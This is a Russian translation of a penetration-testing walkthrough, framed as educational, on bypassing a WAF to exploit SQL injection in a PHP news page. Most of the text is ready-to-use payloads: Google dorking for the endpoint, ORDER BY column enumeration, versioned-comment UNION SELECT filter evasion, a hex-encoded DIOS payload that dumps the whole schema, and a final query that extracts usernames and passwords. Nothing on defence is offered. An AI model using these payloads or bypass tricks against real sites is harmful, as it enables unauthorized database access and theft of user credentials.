Обход WAF для выполнения продвинутой SQL инъекции на основе ошибок
Эта статья носит исключительно образовательный характер. Автор не несет ответственности за любые последствия ее прочтения.
Статья является переводом и ведётся со слов автора. Оригинал тут.
Во время тестирования на проникновение я столкнулся с веб-сайтом, который в этой статье назову http://domain.com.
Просматривая веб-сайт, я не увидел ни одного параметра, даже несмотря на то, что веб-сайт был построен на PHP. Я бросил просмотр и начал использовать Google Dorking.
Google Dorking для поиска конечных точек
Используя простой dork inurl:http://domain.com
, мне удалось получить несколько интересных конечных точек:
Выделенный текст на изображении приводит к интересной точке: http://domain.com/REDACTED/news.php?id=13
При открытии URL-адреса я столкнулся с ошибкой MySQL. Даже из вывода Google дорка вы можете её увидеть:
Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean give in … on line 27
Ошибка очень ценна для нас, потому что мы знаем, что можем выполнять некоторые логические запросы. Давайте начнем эксплуатацию.
Анализ поведения веб-сайта
Я попробовал несколько основных запросов, чтобы увидеть, как ведет себя сайт. При вводе неправильного запроса, выдается 2 ошибки (1 которая была по умолчанию и другая, которая вызвана нами).
Таким образом, мы знаем, что если наш запрос правильный, мы получаем только 1 сообщение об ошибке, в противном случае мы получаем 2 сообщения об ошибке. Благодаря этой ценной информации (на которую мне потребовалось потратить время), давайте получим количество столбцов с помощью запроса ORDER BY
.
Поиск количества столбцов с Boolean + ORDER BY
Поскольку сервер ожидает логический оператор, я могу использовать запрос AND 0
, однако можно использовать и некоторые другие логические запросы:
AND null
AND 1
Теперь добавим в наш запрос как логическую строку, так и запрос ORDER BY
. Я всегда стараюсь начать с поиска столбца с цифры 1, потому что на 100% уверен, что сайт не покажет никакой ошибки.
http://domain.com/REDACTED/news.php?id=13 AND 0 order by 1-- -
Мы получаем только 1 сообщение об ошибке (от веб-сайта, а не из-за нашего запроса). Теперь, когда мы знаем, что наш запрос правильный, давайте попробуем увеличить количество столбцов на 1, пока не получим вторую ошибку.
?id=13 AND 0 order by 1-— - (shows 1 error)
?id=13 AND 0 order by 2 — — (shows 1 error)
?id=13 AND 0 order by 3-— — (shows 1 error)
?id=13 AND 0 order by 4-— — (shows 1 error)
?id=13 AND 0 order by 5-— — (shows 1 error)
?id=13 AND 0 order by 6-— — (shows 2 errors)
Второе сообщение об ошибке появляется тогда, когда мы попытаемся найти 6-й столбец. Таким образом, это означает, что база данных имеет только 5 столбцов.
?id=13 AND 0 order by 6-— —
Перед тем как продолжить, убедимся ещё раз, что в базе данных 5 столбцов.
?id=13 AND 0 order by 5-— —
Обход WAF и поиск столбца для дампа
Теперь мы уверены, потому что не получаем вторую ошибку. Пришло время найти, какой из этих 5 столбцов позволит нам получить данные, используя запрос UNION SELECT
.
http://domain.com/REDACTED/news.php?id=13 AND 0 union select 1,2,3,4,5-- -
Однако, наш запрос был заблокирован WAF, давайте попробуем обойти запрет. Есть тонны запросов UNION для обхода WAF, но в этом случае сработало:
http://domain.com/REDACTED/news.php?id=13 AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,2,3,4,5-- -
Мы обошли WAF, однако номер не отображается. Из-за этого мы не знаем, какие столбцы мы собираемся сбросить. Я просмотрел всю страницу, но ничего не нашёл, поэтому решил просмотреть исходный код.
В выделенной части мы видим числа 2 и 3. Отлично, теперь мы знаем, что должны сосредоточиться на этих 2 столбцах. В этом случае я попробую вторую колонку.
Дамп всех данных из второго столбца
Узнаём имя базы данных
С помощью запроса на основе UNION
давайте получим имя базы данных.
http://domain.com/REDACTED/news.php?id=13 AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,database(),3,4,5-— -
Отлично, мы видим имя базы данных.
Автоматический дамп таблиц + столбцов с помощью DIOS
Я попробую ввести полезную нагрузку DIOS, потому что получение каждого столбца для каждой таблицы вручную очень долго и скучно. Полезная нагрузка DIOS, которую я использовал, специально построена для обхода WAF с использованием 0xHEX
преобразования и /*!00000
для обхода строк.
http://domain.com/REDACTED/news.php?id=13 AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,/*!00000concat*/(0x3c666f6e7420666163653d224963656c616e6422207374796c653d22636f6c6f723a7265643b746578742d736861646f773a307078203170782035707820233030303b666f6e742d73697a653a33307078223e496e6a6563746564206279204468346e692056757070616c61203c2f666f6e743e3c62723e3c666f6e7420636f6c6f723d70696e6b2073697a653d353e44622056657273696f6e203a20,version(),0x3c62723e44622055736572203a20,user(),0x3c62723e3c62723e3c2f666f6e743e3c7461626c6520626f726465723d2231223e3c74686561643e3c74723e3c74683e44617461626173653c2f74683e3c74683e5461626c653c2f74683e3c74683e436f6c756d6e3c2f74683e3c2f74686561643e3c2f74723e3c74626f64793e,(select%20(@x)%20/*!00000from*/%20(select%20(@x:=0x00),(select%20(0)%20/*!00000from*/%20(information_schema/**/.columns)%20where%20(table_schema!=0x696e666f726d6174696f6e5f736368656d61)%20and%20(0x00)%20in%20(@x:=/*!00000concat*/(@x,0x3c74723e3c74643e3c666f6e7420636f6c6f723d7265642073697a653d333e266e6273703b266e6273703b266e6273703b,table_schema,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d677265656e2073697a653d333e266e6273703b266e6273703b266e6273703b,table_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75652073697a653d333e,column_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c2f74723e))))x)),3,4,5 -- -
Дамп данных внутри столбцов
Отлично, у нас есть таблицы и столбцы для каждой таблицы. Из всех таблиц я заостряю акцент на следующем.
Вот то, что привлекло мое внимание. Я сосредоточусь на таблице user
и дампе данных из 2 столбцов: username
и password
.
Окончательная полезная нагрузка будет следующей:
http://domain.com/REDACTED/news.php?id=13 AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,(SELECT+GROUP_CONCAT(username,0x3a,password+SEPARATOR+0x3c62723e)+FROM+kbelb_db.user),3,4,5-- -
Теперь смотрим исходный код и видим имя пользователя и пароль администратора или пользователя.
На этом всё
Не забудь подписаться на наш канал!
Хочешь научиться большему? Записывайся на индивидуальное обучение.